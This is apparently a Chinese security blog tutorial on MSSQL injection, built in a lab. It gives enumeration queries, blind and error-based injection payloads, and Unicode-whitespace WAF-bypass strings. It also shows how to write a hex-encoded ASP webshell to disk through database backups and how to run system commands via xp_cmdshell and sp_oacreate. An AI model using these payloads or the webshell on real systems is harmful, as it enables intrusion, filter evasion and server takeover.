sqli / Web · 2022年8月16日 0

mssql注入

前言

最近就是开始看mssql了,然后还研究了下waf绕过方式

环境搭建

我首先是从用docker拉了一个微软官方的镜像,然后环境就搭起来的。

docker run -e "ACCEPT_EULA=Y" -e "SA_PASSWORD=yourStrong(!)Password" -p 1433:1433 -d mcr.microsoft.com/mssql/server:2022-latest

但是考虑到有些地方会用到windows版本的,所以还在虚拟机里搭了一个windows版本的,用SSMS进行管理。本地测试的时候在windows下用了19版本的,docker中用过17、19、22三个版本

mssql结构

和postgresql类似:instance → databases → schemas → objects

mssql

eastjun数据库下查询一条sql语句select * from users完整的写法应该是select * from eastjun.dbo.users,对应的是database.schema.table。查数据时如果省略了schema名,那么默认的schema就会是dbo

权限

创建登录名

create login eastjun with password='123456'

创建用户

create user westjun from login eastjun

修改登录名和用户映射

execute sp_change_users_login 'update_one','westjun','eastjun'

eastjun数据库的权限授权给用户westjun,然后就能通过eastjun/123456账号连接数据库并拥有eastjun这个数据库的权限了

grant control on database::eastjun to westjun

在这里可以看出来登录名和用户名可以不同,如果是sa用户登录的,则用户名为dbo,登录名为sa

信息搜集

版本号

select @@version

计算机名

select @@servername
select srvname from master.sys.sysservers

工作站名,官方文档上说是客户端的名称,还说可能提供不准确的数据。根据@@servernamehost_name()是否相等可判断站库分离

select host_name()

用户名,通过user_name()加参数可以遍历所有用户,下面这些返回的都是用户名。如果用sa用户登录返回的是dbo

select user
select session_user
select user_id()
select user_name()
select name from master.sys.sysusers

登录名,如果是登录的sa用户,那么userdbosystem_usersasuser_name()中也可以加参数,通过加参数还能遍历所有的用户。除此之外,下面这些返回的都是登录名

select system_user
select suser_name()
select suser_sname()
select suser_sname(suser_sid())
select name from master.sys.syslogins

查询数据

查询数据库

使用db_name()查数据库名

select db_name()

使用db_name(N)可以遍历数据库

select db_name(0)
select name from master.sys.sysdatabases
select top 1 name from sys.database_files
select top 1 name from sys.sysfiles

遍历schema

使用schema_name(N)可以遍历schema,除此之外在每个数据库下还有一些系统视图,其中sys.schemasinformation_schema.schemata可以查到schema

select schema_name(3)
select name from sys.schemas
select schema_name from information_schema.schemata

遍历table

遍历表名的时候也是从视图中获取数据,这些视图可以用SSMS这个图形化管理工具找到,除了sys.objects以外还有sys.all_objectssys.sysobjects这几个视图也可以查表名

select table_name from information_schema.tables where table_schema = 'dbo'
select name from sys.objects where type='U' and schema_id=1
select name from sys.tables where schema_id=1

遍历column

查询列名需要知道表名的object_id,有sys.columnssys.all_columns两个视图可以查

select column_name from information_schema.columns where table_name = 'users'
select name from sys.columns where object_id=(select object_id from sys.objects where name='users')

查数据

在mssql中没有limit字句,如果需要限制查第二条数据,可以用row_number()

select id,username,password from(select row_number()over(order by (select 1))rn,* from users)t where rn=3

或者是正序查询之后再倒序查询

select top 1 * from (select top 5 * from users order by 1 asc)x order by 1 desc

没有group_concat函数,在17版本以后可以用string_agg()函数,不过限制了只能查询8000 bytes的数据

select string_agg(id,',') from users;

mssql注入

联合查询

使用null占位

select 1,user,system_user union select 1,null,null

报错注入

利用字符串转数字报错

select cast(user as int)
select convert(int,user)
select 1+user

盲注

盲注主要涉及到字符串截取和比较两个问题 字符串截取函数:

select substring(user, 2,1)
select stuff(user, 1, 1, '')
select reverse(left(user,2))
select reverse(cast(user as varchar(2)))

字符串比较:

ascii(user)!>119
nullif(ascii(user), 119) is null
ascii(user) between 119 and 119
ascii(user) in (119)
case ascii(user) when 118 then cot(0) else 0 end
user like 'w%'

报错盲注

利用报错构造truefalse

select case when ascii(user)!>119 then cot(0) else 1 end
select cot(coalesce(nullif(ascii(user),118),0))
select 1 + coalesce(nullif(ascii(user),118),'a')

利用数学函数或者数据类型转换进行报错

select exp(999)
select cot(0)
select sqrt(-1)
select log(0)
select 1/0
select 1+'a'

时间盲注

构造超时的sql语句

exists(select * from sys.columns a,sys.columns b,sys.columns c)

waf绕过

利用mssql的特性能更好地绕过waf,因为waf在进行语法分析的时候可能会报错

别名

中括号在mssql中用于解决关键字冲突,使用双引号和单引号也行,使用下面这几种方式都可以定义别名

select 1 [select],[update]=123,user "case",system_user '+'

运算符

在mssql中有!>!<两个比较符号,在盲注进行比较的时候可用

select 1 where 1!<1 or 1!>1

anysomeall从字面意思就能理解

1>=any(select 1)

在mssql中+用于连接字符串,在其他几种数据库中'1'+'1'都返回2,而mssql中返回11

select 'aa'+'aa'

绕过空格过滤

mssql\x00~\x20中间的符号都可以代替空格。除此之外呢,在Unicode范围内还能找到一些能代替空格的字符,这些字符是我写脚本fuzz出来的:

\u0085,\u00a0
\u1680,\u2000,\u2001,\u2002,\u2003,\u2004,\u2005,\u2006,\u2007,\u2008,\u2009,\u200a,\u200b,\u2028,\u2029,\u202f,\u205f,\u3000

进行url编码一遍是这样的:

%C2%85,%C2%A0
%E1%9A%80,%E2%80%80,%E2%80%81,%E2%80%82,%E2%80%83,%E2%80%84,%E2%80%85,%E2%80%86,%E2%80%87,%E2%80%88,%E2%80%89,%E2%80%8A,%E2%80%8B,%E2%80%A8,%E2%80%A9,%E2%80%AF,%E2%81%9F,%E3%80%80

如果需要过waf,在有空格的地方替换这些字符,在能插入空格的地方尝试插入这些字符,大概率就能让waf进行语法分析时报错导致waf被绕过:

select * from users union%E2%80%80select 1%E2%80%80,%E2%80%80null,null
select db_name%E2%80%81(%E2%80%81)
select name from sys%E2%80%81.%E2%80%81tables

提权

xp_dirtree

使用xp_dirtree可以列目录

execute master..xp_dirtree 'c:' //列出所有c:\文件和目录,子目录 
execute master..xp_dirtree 'c:',1 //只列c:\文件夹 
execute master..xp_dirtree 'c:',1,1 //列c:\文件夹加文件

还可以创建临时表,将存储过程查询到的路径插入到临时表中

create table tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;

差异备份写shell

差异备份是首先备份一次数据库,然后插入webshell后再备份和第一次备份不同的地方,这样子应该会比直接备份整个数据库拿到的webshell要小。

backup database eastjun to disk = 'c:/test/bak.bak';
create table test (cmd image);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database eastjun to disk='c:/test/1.asp' with differential,format;

log备份写shell

log备份也需要首先对数据库进行一次完整的备份。相比差异备份,log备份得到的webshell会小很多

create database test;
backup database test to disk = 'c:/test/bak.bak';
alter database test set recovery full;
create table test.dbo.test(cmd image);
backup log test to disk = 'c:/test/bak.bak' with init;
insert into test.dbo.test(cmd) values (0x3C25657865637574652872657175657374282261222929253E);
backup log test to disk = 'c:/test/2.asp';

xp_cmdshell

利用xp_cmdshell可以执行命令,可以看看微软官方关于xp_cmdshell文档 新版本中默认被禁用,但是可以用sp_configure启用

--允许修改高级参数 
exec sp_configure 'show advanced options',1;reconfigure;
--打开xp_cmdshell 扩展
exec sp_configure 'xp_cmdshell',1;reconfigure;

然后可以执行命令

exec master..xp_cmdshell 'whoami'

在19版本中运行的用户为nt service\mssqlserver

xp_subdirs

用于得到目录下的文件夹列表

exec xp_subdirs 'c:'

xp_availablemedia

列出所有驱动器

exec xp_availablemedia

sp_oacreate

判断是否存在sp_oacreate

select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate'

启用sp_oacreate

exec sp_configure 'show advanced options', 1;
reconfigure with override;
exec sp_configure 'Ole Automation Procedures', 1;
reconfigure with override;

调用sp_oacreate执行命令,该方法无回显,可以写文件看回显

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'cmd /c whoami > c:/test/1.txt'

Referer

MSSQL_SQL_BYPASS_WIKI

MSSQL 注入与提权方法整理

MSSQL多种姿势拿shell和提权